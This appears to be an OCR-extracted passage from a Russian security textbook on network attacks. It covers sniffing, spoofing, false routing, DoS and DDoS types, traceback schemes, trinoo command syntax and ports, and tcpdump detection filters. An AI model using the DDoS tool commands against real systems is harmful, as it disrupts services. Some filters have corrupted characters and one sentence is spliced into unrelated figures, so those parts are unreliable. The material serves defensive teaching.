Помимо сбора статистики о потоках в сети и декодирования протоколов, некото рые снифферы обладают такими полезными свойствами, как возможность генерации фреймов/пакетов от своего имени, позволяя заполнять те или иные поля структур произвольными пользовательскими данными. Это может применяться сетевыми ад министраторами и администраторами ИБ для тестирования и контроля корректности функционирования средств и систем защиты.
Основные сложности с правильной установкой и использованием средств сетево го анализа связаны с тем, что устройство должно уметь наблюдать весь проходящий через интерфейс по сети трафик, что в условиях распространения распределенных сетей и внедрения современных технологий, направленных на повышения эффектив ности использования полосы пропускания, не всегда возможно. Если на предприятии развернута полносвязная распределенная сеть с несколькими филиалами, то единст венно возможным выходом в данной ситуации будет дублирование анализаторов в каждом из удаленных сегментов и независимый сбор статистики с последующим ее обобщением. Однако можно избежать дополнительных затрат на покупку и лицензи рование дополнительных копий программ в том случае, если филиалы подключены к центральному офису по топологии "звезда". В данном случае появляется возмож ность контролировать основные потоки, пересекающие границы удаленных офисов, однако то, что происходит "внутри", все равно остается неизвестным для админист ратора, осуществляющего мониторинг трафика в центральном офисе. И чтобы сде лать эти "черные ящики" прозрачными, все же необходимо будет установить допол нительное ПО.
Для эффективного их использования необходимо выполнение ряда условий (на пример, агрегирование трафика в точках мониторинга). При этом, несмотря на то что эти условия повышают эффективность использования снифферов в интранете, они же облегчают злоумышленникам доступ к конфиденциальной информации. Поэтому при развертывании подобных систем всегда следует искать компромисс, а также за думываться о реализации перечисленных мер борьбы с несанкционированным про слушиванием сетевого трафика.
Код одной из достаточно эффективных программ этого типа (Esniff.c) был опуб ликован в журнале "Phrack". Esniff.c предназначена для работы в SunOS. Программа очень компактная и захватывает только первые 300 байт Telnet-, FTP- и rlogin-сессий, средств анализа протоколов для локальных сетей, составлявший в 1995 г. 77 млн. долл., к концу 2000 г. достиг отметки 106,3 млн. долл.
4.1.2. Подмена доверенного объекта или субъекта
Подмена доверенного объекта или субъекта РВС [44] и передача по каналам связи сообщений от его имени с присвоением его прав доступа эффективно реализуется в системах, где применяются нестойкие алгоритмы идентификации/аутентификации хостов, пользователей и т. д. Под доверенным объектом будем понимать станцию, легально подключенную к серверу; хотя в более общем смысле доверенная система -это система, допускающая ведение безопасной обработки секретной информации за счет использования достаточных аппаратных и программных средств обеспечения безопасности, создающих требуемый уровень контроля за доступом к информации и обеспечивающих предотвращение (или определение) НСД. То есть доверенным объ ектом чаще всего выступает пользователь или процесс, а субъектом - процессы или данные, требуемые для выполнения какого-либо процесса.
Обычно в РВС проблема идентификации и аутентификации ее удаленных друг от друга объектов решается за счет создания виртуального канала, во время чего объек ты РВС обмениваются определенной информацией, уникально идентифицирующей данный канал. Такой обмен обычно называется рукопожатием (handshake). Однако не всегда для связи двух удаленных объектов в РВС создается виртуальный канал. Иногда, особенно для служебных сообщений, например от маршрутизаторов, ис пользуется передача одиночных сообщений, не требующих подтверждения.
Атака заключается в передаче по каналам связи сообщений от имени произволь ного объекта или субъекта РВС. При этом существует две разновидности данной ТУА: при установленном виртуальном канале и без установленного виртуального канала.
В первом случае атака нацелена на присвоение прав доверенного субъекта взаи модействия, легально подключившегося к объекту системы, что позволит атакующе му вести сеанс работы с объектом РВС от имени доверенного субъекта. Реализация УА данного типа обычно состоит в передаче пакетов обмена с атакующего объекта на цель атаки от имени доверенного субъекта взаимодействия (при этом переданные сообщения будут восприняты системой как корректные). Для осуществления атаки данного типа необходимо преодолеть систему идентификации и аутентификации со общений, которая в принципе может использовать контрольную сумму, вычисляе мую с помощью открытого ключа, динамически выработанного при установлении канала, случайные многобитовые счетчики пакетов и сетевые адреса станций. Одна ко на практике, например в старых ОС Novell NetWare 3.12-4.1, для идентификации пакетов обмена используются два 8-битовых счетчика - номер канала и номер паке та. В протоколе TCP для идентификации применяются два 32-битовых счетчика.
Атака без установленного виртуального соединения заключается в передаче слу жебных сообщений от имени сетевых управляющих устройств, например от имени маршрутизаторов. В этом случае для идентификации пакетов возможно лишь ис пользование статических ключей, определенных заранее, что довольно неудобно и требует сложной системы управления ключами. Однако при отказе от такой системы идентификация пакетов без установленного виртуального канала будет возможна лишь по сетевому адресу отправителя, который легко подделать. Посылка ложных управляющих сообщений может привести к серьезным нарушениям работы РВС (на пример, к изменению ее конфигурации). УА, использующая навязывание ложного маршрута, относится к данному типу.
Описанная ТУА - это активное воздействие, совершаемое с целью нарушения конфиденциальности и целостности информации, по наступлении на атакуемом объ екте определенного события. Данная УА может являться как внутрисегментной, так и межсегментной, как с обратной связью, так и без обратной связи с атакуемым объ ектом и осуществляется на сетевом и транспортном уровнях модели OSI.
4.1.3. ложный объект
В том случае, если в РВС недостаточно надежно решены проблемы идентифика ции сетевых управляющих устройств (например, маршрутизаторов), возникающие при взаимодействии последних с объектами системы, то подобная распределенная система может подвергнуться типовой удаленной атаке, связанной с изменением маршрутизации и внедрением в систему ложного объекта [44].
Ложный объект РВС внедряется двумя способами.
1. Навязыванием ложного маршрута из-за недостатков в алгоритмах маршрутиза ции (т. е. проблем идентификации сетевых управляющих устройств), в результате че го можно попасть, например, на ПК или в сеть злоумышленника, где с помощью оп ределенных средств можно "вскрыть" атакуемый компьютер. Маршрутом называет ся последовательность узлов сети, по которой данные передаются от источника к приемнику. Каждый маршрутизатор имеет специальную таблицу маршрутизации, в которой для каждого адресата указывается оптимальный маршрут. Эти таблицы существуют не только у маршрутизаторов, но и у любых хостов в сети. Для обеспе чения эффективной и оптимальной маршрутизации в РВС применяются специальные управляющие протоколы, позволяющие маршрутизаторам обмениваться информаци ей друг с другом, - RIP (Routing Information Protocol) и OSPF (Open Shortest Path First), уведомлять хосты о новом маршруте (ICMP), удаленно управлять маршрутиза торами (SNMP). Названные протоколы позволяют удаленно изменять маршрутиза цию в сети, т. е. в общем являются протоколами управления сетью.
Маршрутизация в открытых сетях играет важнейшую роль для функционирова ния системы и, как следствие этого, часто подвергается атакам злоумышленников. Основная цель атак состоит в том, чтобы изменить исходную таблицу маршрутиза ции на объекте РВС так, чтобы новый маршрут проходил через ложный объект -хост атакующего. Реализация данной ТУА состоит в несанкционированном исполь зовании протоколов управления сетью для изменения исходных таблиц маршрутиза ции. Для изменения маршрутизации атакующему необходимо послать по сети опре деленные данными протоколами управления сетью специальные служебные сообще ния от имени сетевых управляющих устройств (например, маршрутизаторов). В результате успешного изменения маршрута атакующий получит полный контроль над потоком информации, которой обмениваются два объекта РВС, и атака перейдет во вторую стадию, связанную с приемом, анализом и передачей сообщений, полу чаемых от дезинформированных объектов РВС. Данная атака - активное безусловное воздействие, совершаемое с любой целью указанных в классификации как внутри одного сегмента, так и межсегментно, как с обратной связью, так и без обратной свя зи с атакуемым объектом на транспортном и прикладном уровнем модели OSI (см. рис. 40).
2. Использованием недостатков алгоритмов удаленного поиска. В РВС часто ее удаленные объекты изначально не имеют достаточно информации, необходимой для адресации сообщений. Обычно такой информацией являются аппаратные (адрес се тевого адаптера) и логические (IP-адрес, например) адреса объектов РВС. Для полу чения подобной информации в РВС используются различные алгоритмы удаленного поиска, заключающиеся в передаче по сети специального вида поисковых запросов и в ожидании ответов на запрос с искомой информацией. После получения ответа на запрос запросивший субъект РВС обладает всеми необходимыми данными для адре сации. Руководствуясь полученными из ответа сведениями об искомом объекте, за просивший субъект РВС начинает обращаться к нему. Примером подобных запросов, на которых базируются алгоритмы удаленного поиска, могут служить SAP-запрос в ОС Novell NetWare, ARP- и DNS-запрос в Интернет. В случае использования РВС механизмов удаленного поиска существует возможность на атакующем объекте пе рехватить посланный запрос и послать на него ложный ответ, где указать данные, использование которых приведет к адресации на атакующий ложный объект. В даль нейшем весь поток информации между субъектом и объектом взаимодействия будет проходить через ложный объект РВС. Другой вариант внедрения в РВС ложного объекта состоит в периодической передаче на атакуемый объект заранее подготов ленного ложного ответа без приема поискового запроса. Атакующему для посылки ложного ответа не всегда обязательно дожидаться приема запроса (он может в прин ципе не иметь подобной возможности перехвата запроса). При этом атакующий мо жет спровоцировать атакуемый объект на передачу поискового запроса, и тогда его ложный ответ будет немедленно иметь успех. Данная ТУА характерна для глобаль ных сетей, когда у атакующего из-за нахождения его в другом сегменте относительно цели атаки просто нет возможности перехватить поисковый запрос. Это активное воздействие с нарушением конфиденциальности и целостности информации, которое может являться атакой по запросу от атакуемого объекта, а также безусловной атакой как внутрисегментно, так и межсегментно, имеет обратную связь с атакуемым объек том и осуществляется на канальном и прикладном уровнях модели OSI.
Такая атака позволяет воздействовать на перехваченную информацию следую щим образом:
■ проводить селекцию и сохранение потока информации на ложном объекте РВС;
■ модифицировать информацию - в передаваемых данных или коде;
■ подменять информацию.
4.1.4. "Отказ в обслуживании"
При атаке "отказ в обслуживании" (Denial of service, DoS) нарушитель пытается сделать временно недоступным или разрушить конкретный сервис (или компьютер), перегрузить сеть, перегрузить центральный процессор или переполнить диск. Нару шитель не пытается получить информацию, а просто действует как вандал, стараясь вывести компьютер из строя. Значительная часть этих атак представляла собой дос таточно массированные атаки со скоростью порядка тысяч пакетов в секунду.
Атаки "отказ в обслуживании" делятся на несколько классов. Атаки первого клас са - логические (logic), используя дыры в ПО, они приводят к "зависанию" или зна чительному снижению производительности сервера. Многие из таких атак могут быть предупреждены либо обновлением ПО, либо фильтрацией определенных по следовательностей пакетов, но в любом случае они представляют серьезную угрозу. Атаки второго класса заключаются в переполнении ресурсов процессора, памяти и сетевых ресурсов сервера посылкой большого количества ложных пакетов. Органи зовать защиту от таких атак чрезвычайно сложно, так как не существует какого-либо действенного способа отличить "хорошие" пакеты от "плохих".
Одной из основных задач, возлагаемых на сетевую ОС, функционирующую на объектах РВС, является обеспечение надежного УД с любого объекта сети к данному объекту [44]. В общем случае в РВС каждый субъект системы должен иметь возмож ность подключиться к любому объекту РВС и получить в соответствии со своими правами УД к его ресурсам. Обычно такая возможность реализуется запуском в сете вой ОС объекта РВС на выполнение ряда программ-серверов (например, FTP-сервер, веб-сервер и т. п.), предоставляющих УД к ресурсам данного объекта. Данные про граммы-серверы входят в состав телекоммуникационных служб предоставления УД. Задача сервера состоит в том, чтобы, находясь в памяти ОС объекта РВС, постоянно ожидать получения запроса на подключение от удаленного объекта. В случае полу чения подобного запроса сервер должен по возможности передать на запросивший объект ответ, в котором либо разрешить подключение, либо нет. По аналогичной схеме происходит создание виртуального канала связи для взаимодействия объектов РВС. В этом случае непосредственно ядро сетевой ОС обрабатывает приходящие из вне запросы на создание виртуального канала и передает их в соответствии с иден тификатором запроса (порт или сокет) прикладному процессу, которым является со ответствующий сервер.
Сетевая ОС способна иметь только ограниченное число открытых виртуальных соединений и отвечать лишь на ограниченное число запросов. Эти ограничения зави сят от различных параметров системы в целом, основными из которых являются бы стродействие ЭВМ, объем оперативной памяти и пропускная способность канала связи). Основная проблема состоит в том, что при отсутствии статической ключевой информации в РВС идентификация запроса возможна только по адресу его отправи теля. Если в РВС не предусмотрено средств аутентификации адреса отправителя, т. е. инфраструктура РВС позволяет с одного объекта системы передавать на другой атакуемый объект бесконечное число анонимных запросов на подключение от имени других объектов, то в этом случае будет иметь успех ТУА "отказ в обслуживании". Результат применения этой УА - нарушение на атакованном объекте работоспособ ности соответствующей службы предоставления УД, т. е. невозможность получения УД с других объектов РВС.
Вторая разновидность этой ТУА состоит в передаче с одного адреса такого коли чества запросов на атакуемый объект, какое позволит трафик (атака - направленный "шторм" запросов или "наводнение" запросами - по англ. flooding). В том случае если в системе не предусмотрены правила, ограничивающие число принимаемых запросов с одного объекта (адреса) в единицу времени, то результатом этой атаки может яв ляться как переполнение очереди запросов и отказа одной из телекоммуникационных служб, так и полная остановка компьютера из-за невозможности системы заниматься ничем другим, кроме обработки запросов.
Третьей разновидностью атаки "отказ в обслуживании" является передача на ата куемый объект некорректного, специально подобранного запроса. В этом случае при наличии ошибок в удаленной системе возможно зацикливание процедуры обработки запроса, переполнение буфера с последующим "зависанием" системы и т. п.
К наиболее распространенным относятся следующие реализации DoS-атак.
Ping-of-Death. Посылается ICMP-пакет размером более 64 Кбайт, что может при вести к переполнению буфера ОС и выведению атакуемой системы из строя.
SYN flooding. Очень быстро посылается большое число TCP SYN-пакетов (ини циализирующих соединение), оставляя жертву в ожидании громадного количества соединений, вызывая тем самым усиленную загрузку ресурсов и отказ от санкциони рованных соединений.
Land/Latierra. Атака использует уязвимости реализаций стека TCP/IP в некоторых ОС и заключается в передаче на открытый порт компьютера-жертвы TCP-пакета с установленным флагом SYN, причем исходный адрес и порт такого пакета соответ ственно равны адресу и порту атакуемого компьютера и система движется по беско нечной петле, пытаясь установить TCP-соединение. Нормальной реакцией на полу чение SYN-пакета является подготовка необходимых ресурсов для нового соедине ния, посылка SYN-ACK-пакета (подтверждение) и ожидание реакции с другой стороны. В случае, когда реакция отсутствует определенное время, SYN-ACK-пакет передается повторно несколько раз, как правило с увеличивающимся периодом за держки. Методом атаки, использующим вышеописанный механизм, является "затоп ление" SYN-пакетами. На компьютер-жертву посылается множество SYN-пакетов с искаженными адресами отправителя. Компьютер-жертва тратит массу своих вычис лительных ресурсов на попытки подтвердить соединения с абсолютно ничего не по дозревающими или даже с несуществующими компьютерами. При достаточно боль шом количестве фальшивых запросов ресурсы компьютера-жертвы могут быть ис черпаны, а все другие процессы в системе будут просто заморожены, либо аварийно завершены, либо будут "сброшены" все имеющиеся TCP-соединения. Пакет посыла ется на любой открытый порт. Для Windows-систем это почти всегда может быть 139-й порт. Реакцией Windows на атаку LAND является абсолютное "зависание". В другой разновидности этой атаки компьютер-жертва пытается установить соедине ние сам с собой, в результате чего сильно возрастает загрузка процессора и может произойти "подвисание" или перезагрузка; атака эффективна на некоторых моделях маршрутизаторов фирмы Cisco Systems; защитой от атаки является установка пакет ного фильтра между внутренней сетью и Интернетом с правилом фильтрации, пред писывающим подавлять пришедшие из Интернет пакеты с исходными IP-адресами компьютеров внутренней сети.
WinNuke. В режиме OutOfBand ("вне очереди", т. е. с высоким приоритетом) по сылаются данные с флагом URGENT для TCP-соединения с портом 139 (NetBIOS Session/SMB); симптомы атаки - потеря доступа к сетевым ресурсам; не приводит к "зависанию" системы, но вызывает фатальные ошибки в работе, требующие переза грузки для восстановления связи с Интернетом.
Фрагментация данных. Используется необходимость (для некоторых аппаратных средств) фрагментирования пакетов, содержащаяся в спецификации IP. Во время ата ки инициируется посылка большого числа фрагментов, что приводит к переполне нию программных буферов на приемной стороне или к аварийному завершению сис темы. Данная атака эффективна против компьютеров с ОС Windows NT без установ ленной специализированной дополняющей программной "заплатки" icmp-fix. Приме ром может служить атака Boink (на нее похожи Teardrop и New Tear/Tear2). Симпто мы - "зависание" системы. Используются пакеты с неправильно указанными смеще ниями фрагментов. Посылаются пакеты, якобы являющиеся частями одного большого пакета с неправильно указанными смещениями фрагментов, из-за чего па кет не может быть собран, что приводит к "зависанию" системы. Второй пример -атака Jolt (SSping, IceNuke) с теми же симптомами - "зависанием" системы. Сверх длинный, фрагментированный пакет вызывает "зависание" системы. Она прекращает работать и должна быть перезагружена. Выявление подобных атак заключается в осуществлении и анализе сборки пакетов "на лету".
TearDrop. Состоит в отправке специально созданных пар фрагментированных IP-пакетов, которые после приема собираются в некорректную дейтаграмму UDP. Пере крывающиеся смещения вызывают перезапись данных в середине заголовка дейта граммы, содержащегося в первом пакете, вторым пакетом. В результате образуется незаконченная дейтаграмма, размещаемая в области памяти ядра Windows NT. Полу чение и обработка большого количества таких пар пакетов приводят к аварийному завершению Windows NT с сообщением STOP ОхОООООООА.
DNS flooding. Атака на серверы имен Интернета. Заключается в передаче большо го числа DNS-запросов. В результате пользователь не может обращаться к сервису имен и, следовательно, его работа становится невозможной. Выявление атаки сво дится к анализу загрузки DNS-сервера и определению источников запросов.
Атака, использующая слабости интерфейса NPFS [69, 70]. Эта атака использует недостатки самой ОС Windows NT, т. е. является логической атакой. Поражаются и рабочие станции, и серверы. Аббревиатура NPFS расшифровывается как Named Pipe File System, однако NPFS не является файловой системой. С помощью NPFS решает ся множество задач, некоторые из которых играют важную роль в обеспечении безо пасности ОС. Например, каналы lsass, lsarpc и LANMAN применяются при передаче по сети имени и пароля пользователя при сквозной аутентификации в домене Windows NT. Удаленный вызов процедур (RPC) в Windows NT реализован как над стройка над NPFS. Драйвер npfs.sys работает в соответствии со спецификациями драйвера файловой системы, но не управляет никакими файлами. Основное его на значение заключается в управлении именованными каналами (named pipes), которые употребляются для передачи информации между процессами и могут быть однона правленными и двунаправленными. Создание канала происходит следующим обра-
<…>
cbcb.c (Cancelbot). Представляет собой утилиту на языке С, поражающую вы бранные пользователем телеконференции (Usenet news).
DoS. Это активное, безусловное, однонаправленное воздействие, осуществляемое с целью нарушения работоспособности системы как межсегментно, так и внутрисег-ментно на транспортном и прикладном уровнях модели OSI (см. рис. 40).
Соответствие между пакетами (сообщениями), которые могут быть использованы при атаке, и ответами на них приведено в табл. 4.
Таблица 4. Соответствие ответов "жертвы" пакетам, посылаемым атакующим
|
Посланный пакет |
Ответ от "жертвы" |
|
TCP SYN (на открытый порт) |
TCP SYN/ACK |
|
TCP SYN (на закрытый порт) |
TCP RST(ACK) |
|
TCP АСК |
TCP RST(ACK) |
|
TCP DATA |
TCP RST(ACK) |
|
TCP RST |
Нет ответа |
|
ICMP Echo Request |
ICMP Echo Reply |
|
UDP (на открытый порт) |
Зависит от протокола |
|
UDP (на закрытый порт) |
ICMP Port Unreachable |
Рассмотрим распределение атак по используемым сервисам. Как показывает ана лиз состоявшихся DoS-атак, в большинстве из них применялось несколько портов. Это объясняется тем, что многие используемые программы выбирают порты случай но (среди портов с номерами более 1024). Среди атак, использующих только опреде ленные порты, наиболее популярны были атаки на порты 6667 (IRC), 80 (HTTP), 113 (Authentication) и 23 (Telnet).
Что касается длительности атак, то атаки длительностью 3, 5, 10, 20 и 30 мин наи более распространены.
В обнаружении DoS-атак может помочь сниффер типа tcpdump. С его помощью можно искать признаки, или сигнатуры, атак. Для этого указывается некое значимое поле в IP-дейтаграмме. Перейдем к примерам.
Как уже указывалось, для атак типа smurf используются широковещательные ад реса. Следовательно, для обнаружения атаки такого типа датчик должен анализиро вать IP-адрес назначения. В IP-пакете он указывается в байтах 16-19. У всех широко вещательных адресов последний байт равен либо Oxff, либо 0x00. Команда активиза ции датчика следующая:
# tcpdump 'ip[19]=0xff or ip[19]=0x00'
Другим часто применяемым ходом в атаках является использование фрагментов. Признак наличия следующего фрагмента находится в 3-м бите 6-го байта заголовка IP. Датчик, позволяющий отследить фрагменты, выглядит так:
# tcpdump *ip[6] & 0x20 = 32'
Для обнаружения пакетов, характерных для атаки syn-flood, поможет флаг SYN. Флаги TCP-пакета находятся в 13-м байте. Следовательно, нужный датчик это
# tcpdump Чср[13] & Oxff = 2'
Полезен датчик на обнаружение активности Back Orifice:
# tcpdump 'udp and dst port 31337'
Огромную роль в атаках на компьютерные сети играет разведка. Наиболее часто применяемые типы разведок - это сканирование. Хотя поток пакетов при зондирова нии не такой интенсивный, как при атаках, обнаружение разведывательных сканиро ваний не менее, а быть может, и более важно, чем обнаружение атак. Рассмотрим датчики, которые помогут обнаружить некоторые распространенные типы сканиро ваний. Для обнаружения сканирования с установленными флагами SYN/FIN подой дет датчик
# tcpdump Чр[13] & Oxff = 3"
Другой тип сканирования использует в пакетах установленный флаг reset.
# tcpdump "ip[13] & Oxff = 4'
Есть особая разновидность DoS-атак - распределенная атака "отказ в обслужива нии" (DDoS, Distributed DoS). В общем случае она осуществляется следующим обра зом:
■ атакующий компрометирует несколько "рабов" (slaves), или "зомби"; вместе они образуют сеть, называемую botnet;
■ устанавливает на них ПО, которое будет впоследствии осуществлять "шторм" со общениями;
■ соединяется с ними и объединяет их возможности в единый "шторм" сообщения ми [71].
Использование большого количества рабов не только увеличивает мощь атаки, но и значительно усложняет защиту от нее: наличие нескольких источников направлен ного "шторма" значительно усложняет задачу блокирования ложного трафика и уменьшает эффективность методик обратного отслеживания (tracing back), приме няемых для определения действительного адреса источника сообщений.
Осуществление этой атаки схематично представлено на рис. 42: с атакующей сис темы посылаются управляющие сообщения предварительно скомпрометированным рабам. Рабы генерируют трафик определенного вида "жертве", подменяя адрес ис точника с тем, чтобы жертва не могла их отследить.
Проблема обратного отслеживания потоков пакетов с ложными адресами источ ников привлекает большое внимание. В предложенной Белловином (Bellovin) схеме ITRACE [72] маршрутизаторы посылают ICMP-сообщения по адресам назначения,
которые они "вынимают" из получаемых пакетов. В случае потока пакетов большого объема жертва в конечном итоге получит ICMP-сообщения ото всех ITRACE-маршрутизаторов по маршруту от раба до жертвы и таким образом обнаружит дейст вительный адрес раба. В другой схеме [73] маршрутизаторы помечают обрабатывае мые ими пакеты, добавляя информацию, которую жертва может декодировать, и тем самым получить действительный адрес источника. По сравнению с предыдущим случаем данная схема позволяет отследить поток значительно меньшего объема, од нако с увеличением количества рабов резко возрастает и количество вычислений. В третьей схеме SPIE (Source Path Isolation Engine) маршрутизаторы запоминают вы численные для проходящих через них пакетов хеш-значения [71]. Жертва может оп ределить нахождение источника, посылая запросы на соответствующие хеш-значения маршрутизаторам своего домена, однако эти запросы должны посылаться в течение небольшого промежутка времени после получения пакета, пока данные о нем еще доступны. Преимущество SPIE перед ITRACE и схемами с вероятностной пометкой пакетов заключается в том, что она позволяет отследить даже очень не большой трафик.
Использование сотен и тысяч рабов может не только значительно усложнить за дачу обратного отслеживания (так как возникают большие трудности, связанные с разделением информации, относящейся к разным источникам, а также необходимо стью обращения за ней к тысячам маршрутизаторов), но и серьезно затруднить защи ту в случае удачного отслеживания (потому что необходимо установить сотни фильтров и/или обратиться к сотне администраторов).
Есть разновидность атаки DDoS - с отражателями (reflectors). Использование от ражателей значительно увеличивает возможности атакующих и увеличивает опас ность атаки [74]. Отражатель - любой ГР-хост, посылающий ответы при получении запросов. Таким образом, веб-серверы, DNS-серверы и маршрутизаторы могут слу жить в качестве отражателей, так как все они возвращают пакеты SYN/ACK или RST (сброс) в ответ на получение SYN- или других TCP-пакетов. Сначала атакующий на ходит очень большое число отражателей. Затем он координирует рабов посылать трафик отражателям от имени жертвы. Отражатели, в свою очередь, посылают отве ты жертве. Осуществление этой атаки схематично показано на рис. 43.
Заметим, что жертве не требуется прилагать абсолютно никаких усилий, чтобы определить местоположение отражателей, так как их адреса указаны в качестве адре са источника в получаемых жертвой пакетах. Администратор отражателя, с другой стороны, не может легко определить адрес зомби, так как в приходящих к нему паке тах с адресом источника появляется адрес жертвы.
Вообще говоря, с целью определения адресов рабов администратор отражателя может использовать схемы обратного отслеживания. Однако заметим, что отражате ли посылают жертве трафик гораздо меньшей интенсивности, чем это делали бы ра бы при непосредственной атаке на жертву. Это происходит потому, что каждый раб может использовать в течение атаки некоторое подмножество отражателей. Если, на пример, имеем Ns рабов, NR отражателей, и каждый раб генерирует трафик интен сивности F, то интенсивность трафика, генерируемого каждым отражателем, будет
равна
Исходя из этого механизмы защиты, предназначенные для авто матического обнаружения попыток "шторма", могут в данной ситуации оказаться бесполезными, если они обнаруживают только трафик достаточно большого объема и интенсивности.
Таким образом, методы обратного отслеживания, основанные на прохождении трафика большого объема, такие как ITRACE или схемы вероятностной пометки па кетов, не помогут в определении местоположения отдельных рабов, посылающих па кеты отражателям. В случае использования NR отражателей потребуется в NR раз
больше времени для отслеживания такого же количества пакетов, если бы они посы лались непосредственно жертве. Даже если отражателей будет столько же, сколько рабов или несколько меньше, их использование обеспечивает для атакующего хоро шую защиту от таких видов схем обратного отслеживания. В случае применения схем отслеживания, действующих и в условиях трафика небольшого объема, ситуа ция кардинально меняется. Использование отражателей не приносит атакующему никаких дополнительных преимуществ (с точки зрения защиты от отслеживания). Даже наоборот, ему следует уменьшить подмножество отражателей, используемых каждым рабом, с тем, чтобы администратор какого-либо одного отражателя не смог путем обратного отслеживания, сразу определить большое число рабов.
Для случаев проведения атак с отражателями Баррос предложил улучшенный ва риант схемы ITRACE - reverse ITRACE [75]. Суть метода такова: ITRACE-маршру-тизаторы с некоторой вероятностью посылают ICMP-сообщения по адресу источника только что полученного ими пакета, а не по адресу назначения, как в схеме ITRACE. Эффект заключается в том, что если раб генерирует трафик от имени жертвы, то мар маршрутизаторы по маршруту "раб - отражатель" будут отправлять ICMP-сообщения жертве, позволяя ей определить адрес раба.
Еще одной отличительной особенностью данной атаки является то, что отражате ли не являются усилителями, т. е. они не увеличивают интенсивности проходящего через них трафика. В некоторых случаях они даже могут несколько уменьшать объем трафика и при этом эффективно справляться со своими задачами. Отсутствие огра ничений на увеличение объема трафика позволяет большому числу различных сете вых механизмов служить отражателями и облегчает атакующему задачу нахождения отражателей для использования в атаке.
DDoS-нападение распознать просто - замедление работы сети и серверов заметно как администратору системы, так и обычному пользователю.
Известно несколько средств реализации DDoS-атак. Это trinoo (или иначе trinOO) и Tribal Flood Network (TFN) для Unix-платформ, Stacheldraht (пер. с нем. - "колючая проволока"), wintrinoo для Windows-платформ, TFN2K для Unix и Windows NT (ис пользует при бомбардировке сети шифрование для своего эффективного сокрытия). Именно с помощью этих программ в середине февраля 2000 г. были атакованы веб-узлы известных Интернет-представительств электронной коммерции Amazon, CNN, ETrade, Yahoo и eBay. Атаки сводились ко взлому сразу нескольких хостов, которые затем работали как зомби, запускающие новую DoS-атаку, т. е. становились подчи ненными серверами для так называемого мастер-сервера со специально установлен ным кодом. Таким образом, получалась цепочка порождения последующих взломов с ранее скомпрометированных хостов [с подробностями можно ознакомиться в доку менте CERT "Incident Note 99-07. Distributed Denial of Service Tools (Nov 18, 1999)" по адресу http://www.cert.org/incident_notes/IN-99-07.html (April 18, 2000) или в статье Гари Флинна "DDos Attacks" по адресу http://www.jmu.edu/info-security/engineering/ issues/Ddos.htm (April 18, 2000)]. По команде подчиненные серверы (зомби или реф лекторы) наводняют узлы-жертвы мусорным трафиком. Бомбардировка узла-жертвы трафиком с сотен подчиненных серверов приводит к перегрузке системы и зачастую к блокировке канала передачи данных.
При распределенной атаке типа SYN flooding злоумышленник получает контроль над несколькими серверами в Интернете и дает им команду связаться с веб-сервером жертвы. Подчиненные серверы начинают отправлять SYN-пакеты (запросы на син хронизацию и инициализацию сеанса связи) TCP/IP с фиктивными IP-адресами на сервер назначения. На каждый из входящих SYN-пакетов сервер отвечает пакетом SYN АСК (подтверждение синхронизации), пытаясь установить связь с фиктивным IP-адресом. Сервер сохраняет каждый из полученных SYN-запросов в ожидании за проса и в конце концов оказывается переполненным.
Распределенная ICMP-атака такова. Злоумышленник дает подчиненным серверам команду отправить тестовые пакеты с подставным IP-адресом, соответствующим ад ресу сервера-жертвы, на "отражающий" узел Интернет-провайдера. Серверы на этом узле получают множественные запросы с подставным адресом и все разом отвечают отправкой пакетов на узел-жертву. Маршрутизатор узла-жертвы наводняется пакета ми с отражающего узла, и для нормального трафика не остается полосы пропускания.
Суть атаки trinoo - "наводнение" серверов UDP-пакетами, присланными с тысячи хостов. Адреса источников не подменялись, поэтому соединения с системами, где были запущены реализующие атаку средства (демоны), устанавливались без про блем. В ответ на установление соединения подключалась новая машина с демоном. Впервые trinoo был обнаружен как двоичный демон во взломанных системах с Solaris 2.x. После предварительного сканирования хоста через 1524-й порт на нали чие соответствующих уязвимостей (обнаружения в системе возможности переполне ния буфера в сервисах удаленного выполнения (RPC) statd, cmsd и ttdbserverd) вво дился вредоносный код.
Распознать trinoo можно в мастер-системах и зомби, если злоумышленниками не установлены соответствующие средства сокрытия следов атаки. Команда "netstat -a inet" покажет, что ТСР-порт 27665 и UDP-порт 27444 открыты на мастер-системе, а UDP-порт 31335 открыт на зомби.
Атакующий может посылать следующие команды мастер-системе:
quit - выключить мастер;
dos IP - запустить DDoS-атаку по указанному IP-адресу;
mdos <ЕР1:1Р2:ГРЗ> - запустить сразу по нескольким адресам DDoS-атаку;
beast - создать список зомби, которые начнут работать.
Мастера могут посылать команды зомби:
ааа password IP - начало атаки для IP-адреса посредством посылки UDP-пакетов в любой (от 0 до 65534) UDP-порт;
bbb password N - период времени в секундах для запуска атаки; rsz N - установать размер UDP-пакетов в N байт; die - завершить работу зомби.
Программа wintrinoo может быть запущена как приложение к электронному со общению, как макрос к документу или через Back Orifice. После этого service.exe ин сталлирует свою копию в \windows\system и добавляет в регистр команду, приводя щую к перезапуску системы. Признак этого - наличие строки HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
Измененный service.exe имеет размер около 23 Кбайт и работает на ОС Windows NT4/95/98. В отличие от демона trinoo он слушает мастеров на UDP-порте 34555 и передает им информацию на UDP-порте 35555. Как и trinoo, этот демон можно обна ружить командой netstat -an.
В настоящее время появляется много реальных предложений по организации за щиты от DDoS-атак, некоторые из которых можно реализовать уже сегодня, а часть потребует длительных разработок. Действенными являются те, которые используют механизмы фильтрации и средства ограничения скорости передачи на маршрутиза торах. Есть ряд предложений по использованию динамических адаптивных про грамм - это компоненты Cisco IOS, позволяющие устанавливать ограничения на про центные доли различных видов трафика и типы передаваемых пакетов. С помощью подобных программ можно ограничить, например поступление пакетов ICMP в ин-транет. Создаются средства идентификации хостов, предотвращающие атаки, связан ные с захватом ресурсов. Ведутся работы по расширению возможностей маршрути заторов по мониторингу пакетов для определения их источников.
